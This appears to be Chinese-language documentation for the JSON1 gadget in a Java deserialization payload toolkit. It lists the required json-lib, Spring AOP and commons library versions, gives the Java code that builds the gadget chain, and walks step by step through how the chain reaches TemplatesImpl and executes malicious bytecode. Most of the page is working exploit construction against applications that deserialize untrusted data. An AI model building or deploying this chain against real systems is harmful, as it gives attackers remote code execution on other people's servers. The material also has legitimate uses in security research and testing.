- 类别:javanative 别名:— 优先级:—
- 作者:mbechler
- 依赖:
net.sf.json-lib:json-lib:jar:jdk15:2.4、org.springframework:spring-aop:4.1.4.RELEASE、aopalliance:aopalliance:1.0、commons-logging:commons-logging:1.2、commons-lang:commons-lang:2.6、net.sf.ezmorph:ezmorph:1.0.6、commons-beanutils:commons-beanutils:1.9.2、org.springframework:spring-core:4.1.4.RELEASE、commons-collections:commons-collections:3.1
经典 net.sf.json-lib(JSON-Lib)反序列化跳板。利用 TabularDataSupport.equals → CompositeData.getCompositeType/JSONObject 取值路径,最终经 Spring AOP 的 JdkDynamicAopProxy 把调用转发到内层被包裹对象(通常是 TemplatesImpl)的 Templates 接口方法,触发 newTransformer() → 加载恶意字节码。是把 JavaNativeDeserialize 入口衔接到 TemplatesImplChain 的中间 gadget。
- 入口
tags:JavaNativeDeserialize—— 承接 Java 原生反序列化入口。 - 衔接
nextTags:TemplatesImplChain—— 之后必须接TemplatesImpl系列 gadget(提供实现Templates接口、newTransformer触发字节码的内层对象)。 excludes:空。
invoke 取内层对象后交给 getObject → makeCallerChain:
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject(chain.doCreate(context)); // 内层通常是 TemplatesImpl
}
public Map getObject(Object templateImpl) throws Exception {
return JSON1.makeCallerChain(templateImpl, Templates.class); // ifaces = Templates
}makeCallerChain 构建两个 TabularDataSupport 触发 equals 的 hashCode 碰撞结构:
CompositeType rt = new CompositeType("a","b", new String[]{"a"}, new String[]{"a"}, new OpenType[]{SimpleType.INTEGER});
TabularType tt = new TabularType("a","b", rt, new String[]{"a"});
TabularDataSupport t1 = new TabularDataSupport(tt);
TabularDataSupport t2 = new TabularDataSupport(tt);
AdvisedSupport as = new AdvisedSupport();
as.setTarget(payload); // Spring AOP 目标 = payload
InvocationHandler delegateInvocationHandler =
(InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
InvocationHandler cdsInvocationHandler =
PayloadHelper.createMemoizedInvocationHandler(PayloadHelper.createMap("getCompositeType", rt));
InvocationHandler invocationHandler =
(InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl", new Object[0]);
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
CompositeData cdsProxy = PayloadHelper.createProxy(invocationHandler, CompositeData.class, ifaces); // 同时实现 CompositeData + Templates
JSONObject jo = new JSONObject();
HashMap<String,CompositeData> m = new HashMap<>();
m.put("t", cdsProxy);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(t1, "dataMap", jo);
Reflections.setFieldValue(t2, "dataMap", jo);
return PayloadHelper.makeMap(t1, t2);逐段解释:
- 触发骨架:
PayloadHelper.makeMap(t1, t2)把两个TabularDataSupport放进一个会在readObject/HashMap恢复时比较键、进而调用TabularDataSupport.equals的结构;equals内部会走到对dataMap(此处被反射改成JSONObject)的取值,最终触碰到cdsProxy。 - 复合代理
cdsProxy:它同时实现CompositeData与Templates(ifaces)。其InvocationHandler是CompositeInvocationHandlerImpl:- 对
CompositeData类型的方法(如getCompositeType)→ 走cdsInvocationHandler(memoized,直接返回预置的rt),满足 JSON-Lib/TabularData 内部逻辑不抛异常; - 其余方法 → 走
defaultHandler = JdkDynamicAopProxy(as),as.target = payload,于是对Templates.newTransformer()的调用被 Spring AOP 转发到真正的内层TemplatesImpl。
- 对
- 字节码执行:
TemplatesImpl.newTransformer()→getTransletInstance()→defineTransletClasses()→defineClass恶意字节码 → 静态块/构造执行命令。 - 注意
Reflections.setFieldValue(jo, "properties", m)连写两次(反编译如实呈现),属冗余,不影响逻辑。
本类无 @Param。内层对象与最终字节码由下游 TemplatesImplChain(如 TemplatesImpl)提供并配置。
description:net.sf.json-lib 链。核心承载是 JSON-Lib 的JSONObject+ JMX 的TabularDataSupport/CompositeData+ Spring AOPJdkDynamicAopProxy+ CORBA 的CompositeInvocationHandlerImpl。- 依赖繁多:需同时具备 json-lib 2.4、spring-aop 4.1.4、commons-beanutils 1.9.2、ezmorph 等;缺一不可,故落地条件较苛刻。
CompositeInvocationHandlerImpl属com.sun.corba.se.*,在移除 CORBA 的高版本 JDK(JDK 11+)上不可用。
自由构件,未直接出现在预设链(usedInChains 为空)。可作为 JavaNativeDeserialize → TemplatesImplChain 的替代跳板。
- 下游(
nextTags=TemplatesImplChain):TemplatesImpl(提供newTransformer触发字节码) - 同类 Java 原生跳板:CommonsBeanutils1、Jackson(不同触发原语,同样衔接 TemplatesImpl)
- 上游入口:任何
JavaNativeDeserialize反序列化 sink。